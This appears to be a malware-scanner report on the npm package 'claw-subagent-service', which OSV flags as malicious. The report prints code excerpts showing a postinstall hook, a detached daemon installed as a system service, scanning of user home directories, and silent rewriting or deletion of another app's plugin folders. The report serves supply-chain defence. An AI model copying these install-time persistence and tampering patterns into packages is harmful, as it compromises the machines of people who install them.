// npm 패키지
claw-subagent-service
虾说智能助手
버전
145
메인테이너
1
라이선스
MIT
최초 publish
2026-04-29
publisher
quukk
tarball
471,785 B
AUTO-PUBLISHED·1개 버전 인덱싱됨·최근 publish: 2026-05-26
// exfil path
what is read → where it shipssteals
- ○ home dir
sends to
(no destination string extracted — payload may be dynamic / obfuscated)
evidence in excerpt
> const { spawn, exec, execSync } = require('child_process');
> const daemon = spawn('node', [DAEMON_PATH], {
> "axios": "^1.15.2",
> const { fork, execSync } = require('child_process');
> const WebSocket = require("ws");// offending code· @0.0.153· 3 files flagged
llm: benign · 0.85→ 의심 전송지 없음, 원격 실행 형태 없음 — 1 known-vendor host(s).
- @0.0.153··AUTO-PUBLISHED·publisher: quukkheuristic 75/100static flags 4llm benign (0.85) via ollamainstall-scripts:postinstallnew-publisher:5dfirst-version-suspicious-publishermature-packageosv-flagged:MAL-2026-3757reads-env-varsreads-homedirchild-process-spawninstall-path-npm-publish
→ 의심 전송지 없음, 원격 실행 형태 없음 — 1 known-vendor host(s).
// offending code· 3 files flaggedpatterns: 4
--- install scripts --- ### postinstall node scripts/post-install.js --- package/cli.js (excerpt) --- #!/usr/bin/env node /** * OpenClaw Guard CLI 入口文件 * * 用法: * node cli.js --run # 前台运行(默认) * node cli.js --install # 安装为系统服务 * node cli.js --uninstall # 卸载系统服务 * node cli.js --start # 启动服务 * node cli.js --stop # 停止服务 * node cli.js --restart # 重启服务 * node cli.js --status # 查看服务状态 */ const { spawn, exec, execSync } = require('child_process'); const path = require('path'); const fs = require('fs'); const os = require('os'); const DAEMON_PATH = path.join(__dirname, 'service', 'daemon.js'); const SERVICE_NAME = 'claw-subagent-service'; // 解析命令行参数 const args = process.argv.slice(2); const command = args[0] || '--run'; function runDaemon() { console.log('[CLI] 启动 Daemon...'); console.log(`[CLI] CLI 路径: ${__filename}`); console.log(`[CLI] Daemon 路径: ${DAEMON_PATH}`); const daemon = spawn('node', [DAEMON_PATH], { stdio: 'ignore', detached: true }); daemon.unref(); // 不阻塞等待 Daemon 退出: // detached: true 使 Daemon 成为独立进程组 leader,避免随 CLI 收到 SIGINT/SIGHUP; // stdio: 'ignore' 防止 nohup 场景下 pipe 断开导致异常; // unref() 让 CLI 事件循环不等待 Daemon,安装脚本可立即继续。 console.log(`[CLI] Daemon 已启动,PID=${daemon.pid}`); // 短暂停留确认 Daemon 未立即崩溃,随后 CLI 退出(Daemon 继续后台运行) setTimeout(() => { process.exit(0); }, 1500); } function installService() { console.log('[CLI] 安装系统服务...'); const platform = process.platform; if (platform === 'win32') { // --- package/package.json (excerpt) --- { "name": "claw-subagent-service", "version": "0.0.153", "description": "虾说智能助手", "main": "cli.js", "bin": { "claw-subagent-service": "cli.js" }, "scripts": { "postinstall": "node scripts/post-install.js", "preuninstall": "node scripts/pre-uninstall.js", "install-service": "node scripts/install-silent.js", "uninstall-service": "node scripts/uninstall.js", "dev": "nodemon cli.js --run", "publish:patch": "npm version patch && npm publish", "publish:minor": "npm version minor && npm publish", "publish:major": "npm version major && npm publish", "sync": "node scripts/sync-local.js" }, "files": [ "cli.js", "service/", "scripts/", "command/", "version.json", "README.md" ], "dependencies": { "@rongcloud/imlib-next": "^5.36.6", "axios": "^1.15.2", "fake-indexeddb": "^6.2.5", "jsdom": "^24.0.0", "node-windows": "^1.0.0-beta.8", "ws": "^8.16.0" }, "engines": { "node": ">=14.0.0" }, "license": "MIT" } --- package/service/daemon.js (excerpt) --- const { fork, execSync } = require('child_process'); const path = require('path'); const fs = require('fs'); const os = require('os'); const { createLogger } = require('./logger'); const { Updater } = require('./updater'); const { checkPortListening } = require('./modules/port-checker'); const log = createLogger('daemon'); const WORKER_PATH = path.join(__dirname, 'worker.js'); const PORT = process.env.SILENT_SERVICE_PORT ? parseInt(process.env.SILENT_SERVICE_PORT, 10) : 28765; // 使用全局 PID 文件,防止不同安装路径的多个实例同时运行 const PID_FILE = (() => { if (process.platform === 'win32') { const programData = process.env.PROGRAMDATA || process.env.ALLUSERSPROFILE || 'C:\\ProgramData'; return path.join(programData, 'claw-subagent-service', 'daemon.pid'); } return path.join(os.tmpdir(), '.claw-subagent-service.pid'); })(); let worker = null; let currentWorkerPid = null; let stopping = false; let isRollingBack = false; let healthTimer = null; let currentBackupDir = null; let crashCount = 0; let lastCrashTime = 0; const updater = new Updater(); // 检测是否是 npm 更新后的重启 const VERSION_FILE = path.join(os.tmpdir(), '.claw-subagent-service.version'); function detectUpdateRestart() { try { const currentVersion = updater.loadCurrentVersion(); let previousVersion = null; if (fs.existsSync(VERSION_FILE)) { previousVersion = fs.readFileSync(VERSION_FILE, 'utf8').trim(); } // 写入当前版本 fs.writeFileSync(VERSION_FILE, c --- bundled output (OSV-MAL flagged — LLM scope expansion) --- --- service/rongcloud/env-polyfill.js (bundled) --- "use strict"; /** * 环境模拟 (Polyfill) * 让融云 Web SDK (@rongcloud/imlib-next) 能在 Node.js 环境中运行 */ require("fake-indexeddb/auto"); const { JSDOM } = require("jsdom"); const WebSocket = require("ws"); const { Blob, File } = require("node:buffer"); const crypto = require("crypto"); const dom = new JSDOM('<!DOCTYPE html><html><body></body></html>', { url: 'http://localhost', pretendToBeVisual: true, resources: 'usable', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }); const window = dom.window; const g = global; const win = window; function defineWinProp(key, value) { try { Object.defineProperty(win, key, { value: value, writable: true, configurable: true, enumerable: true }); } catch {} } function defineGlobalProp(key, value) { try { Object.defineProperty(g, key, { value: value, writable: true, configurable: true, enumerable: true }); } catch {} } if (g.indexedDB) { defineWinProp('indexedDB', g.indexedDB); defineWinProp('IDBKeyRange', g.IDBKeyRange); defineWinProp('IDBRequest', g.IDBRequest); defineWinProp('IDBDatabase', g.IDBDatabase); defineWinProp('IDBTransaction', g.IDBTransaction); defineWinProp('IDBCursor', g.IDBCursor); defineWinProp('IDBIndex', g.IDBIndex); defineWinProp('IDBFactory', g.IDBFactory); } const storageMock = { getItem: (k) => null, setItem: (k, v) => {}, removeItem: (k) => {}, clear: () => {}, length: 0, key: (i) => null }; defineWinProp('localStorage', storageMock); defineWinProp('sessionStorage', storageMock); defineGlobalProp('localStorage', storageMock); defineGlobalProp('sessionStorage', storageMock); if (!win.crypto) { defineWinProp('crypto', crypto.webcrypto); } if (!g.crypto) { defineGlobalProp('crypto', crypto.webcrypto); } defineWinProp('onLine', true); defineWinProp('language', 'zh-CN'); defineGlobalProp('navigator --- service/rongcloud/message-handler.js (bundled) --- const { MessageType } = require('./types'); const { OpenClawClient } = require('./openclaw-client'); const { handleNormalMessage } = require('../modules/normal-message-handler'); const { RongCloudServerAPI } = require('./rongcloud-server-api'); const { SystemConfigManager } = require('../modules/system-config'); const axios = require('axios'); const MENTION_REGEX = /@(claw_[a-zA-Z0-9]+)/g; class MessageHandler { constructor(config, sendFn, log, sendReadReceiptFn) { this.config = config; this.sendFn = sendFn; this.log = log; this.sendReadReceiptFn = sendReadReceiptFn; this.openclawClient = new OpenClawClient(log); // 初始化系统配置管理器(从 Python 服务端动态获取配置) this.configManager = new SystemConfigManager(config, log); // 初始化融云服务端 API 客户端(直接调用融云 API,无需通过服务端代理) this.serverAPI = new RongCloudServerAPI(this.configManager, log); this.log?.info('[MessageHandler] 融云服务端 API 客户端已初始化(配置从服务端动态获取)'); this.nodeId = config.accountId || ''; this.handleNormalMessage = handleNormalMessage; this._streamQueue = Promise.resolve(); // 存储流式消息的 RongCloud messageUID:streamId -> messageUID this._streamMessageUIDs = new Map(); // 群聊对话轮数统计:groupId -> currentRound this._groupRoundCounts = new Map(); // 群组配置缓存:groupId -> { maxRounds, expiresAt } this._groupConfigCache = new Map(); this._defaultMaxRounds = 10; this._groupConfigCacheTTL = config.groupConfigCacheTTL || 60000; // 默认缓存 60 秒 // 消息合并相关 this._pendingMessages = new Map(); // 待合并的消息 this._messageMergeTimeout = 500; // 合并等待时间(毫秒) } /** * 判断是否支持流式处理 * 现在配置从服务端动态获取,总是启用 */ get isStreamingEnabled() { return !!this.serverAPI; } extractMentions(content) { const mentions = []; let match; while ((match = MENTION_REGEX.exec(content)) !== null) { mentions.push(match[1]); } MENTION_REGEX.lastIndex = 0; return mentions; } shouldHandleMessage(msg) { // 过滤离线消息:离线消息是历史记录,不需要重复处理 if (msg.isOffLineM --- service/rongcloud/openclaw-client.js (bundled) --- const { spawn, execSync } = require('child_process'); const net = require('net'); const os = require('os'); const fs = require('fs'); const path = require('path'); const axios = require('axios'); /** * 获取实际用户主目录(SYSTEM 账户下 os.homedir() 返回 systemprofile) */ function getRealHomeDir() { const envHome = process.env.CLAW_SERVICE_HOME || process.env.USERPROFILE || process.env.HOME; if (envHome && !envHome.includes('systemprofile')) { return envHome; } const homeDir = os.homedir(); if (!homeDir.includes('systemprofile')) { return homeDir; } // SYSTEM 账户兜底:扫描 C:\Users 找包含 .openclaw 的实际用户目录 const usersDir = 'C:\\Users'; if (fs.existsSync(usersDir)) { const entries = fs.readdirSync(usersDir, { withFileTypes: true }); for (const entry of entries) { if (entry.isDirectory() && !['Public', 'Default', 'All Users', 'Default User'].includes(entry.name)) { const candidate = path.join(usersDir, entry.name); if (fs.existsSync(path.join(candidate, '.openclaw'))) { return candidate; } } } } return homeDir; } /** * 构建 OpenClaw 需要的完整环境变量 * Windows SYSTEM 账户下必须设置 HOMEDRIVE/HOMEPATH/APPDATA 等 * 策略:从现有环境变量中推断正确路径,避免硬编码任何用户名或目录结构 */ function getOpenClawEnv(baseEnv = process.env) { const realHome = getRealHomeDir(); const env = { ...baseEnv }; const systemHome = os.homedir(); // 基础 home 目录变量 env.USERPROFILE = realHome; env.HOME = realHome; if (process.platform === 'win32') { // 从 realHome 推断 HOMEDRIVE / HOMEPATH(匹配盘符 + 路径) const match = realHome.match(/^([A-Za-z]:)(.*)$/); if (match) { env.HOMEDRIVE = match[1]; env.HOMEPATH = match[2]; } /** * 修复路径:把现有环境变量中的 systemprofile home 路径替换为真实用户 home 路径 * 这样能处理 Roaming Profiles、AppData 重定向、非标准安装等各种情况 */ const fixPath = (originalPath) => { if (!originalPath) return null; const lowerOriginal = originalPath.toLowerCase(); const lowerSystemHome = systemHome.toLowerCase(); --- service/rongcloud/openclaw-config.js (bundled) --- const { homedir } = require('os'); const { join } = require('path'); const { mkdirSync, readFileSync, writeFileSync, existsSync, renameSync } = require('fs'); const OPENCLAW_DIR = join(homedir(), '.openclaw'); const SETTINGS_FILE = join(OPENCLAW_DIR, 'openclaw.json'); // 静默服务不需要强制启用任何 openclaw 插件 const DEFAULT_PLUGINS = []; const REMOVED_PLUGINS = ['openclaw-weixin', 'openclaw-wechat']; function isPluginDirExists(pluginName) { const pluginDir = join(OPENCLAW_DIR, 'extensions', pluginName); return existsSync(pluginDir); } function disableBrokenPlugin(pluginName, log) { const pluginDir = join(OPENCLAW_DIR, 'extensions', pluginName); const disabledDir = pluginDir + '.bak.disabled'; if (!existsSync(pluginDir)) return; try { if (existsSync(disabledDir)) { const { rmSync } = require('fs'); rmSync(pluginDir, { recursive: true, force: true }); } else { renameSync(pluginDir, disabledDir); } log?.warn(`[OpenClawConfig] ${pluginName} 已禁用(目录重命名为 .bak.disabled)`); } catch (err) { log?.error(`[OpenClawConfig] 禁用 ${pluginName} 失败: ${err.message}`); } } function ensurePluginsAllow(log) { try { if (!existsSync(OPENCLAW_DIR)) { mkdirSync(OPENCLAW_DIR, { recursive: true }); } } catch {} let settings = {}; try { const content = readFileSync(SETTINGS_FILE, 'utf-8'); settings = JSON.parse(content); log?.info('[OpenClawConfig] 已加载配置'); } catch { log?.info('[OpenClawConfig] 创建新配置'); settings = {}; } if (!settings.plugins) settings.plugins = {}; const existing = settings.plugins.allow || []; const cleaned = existing.filter(p => !REMOVED_PLUGINS.includes(p)); const removedCount = existing.length - cleaned.length; const brokenPlugins = []; const healthyPlugins
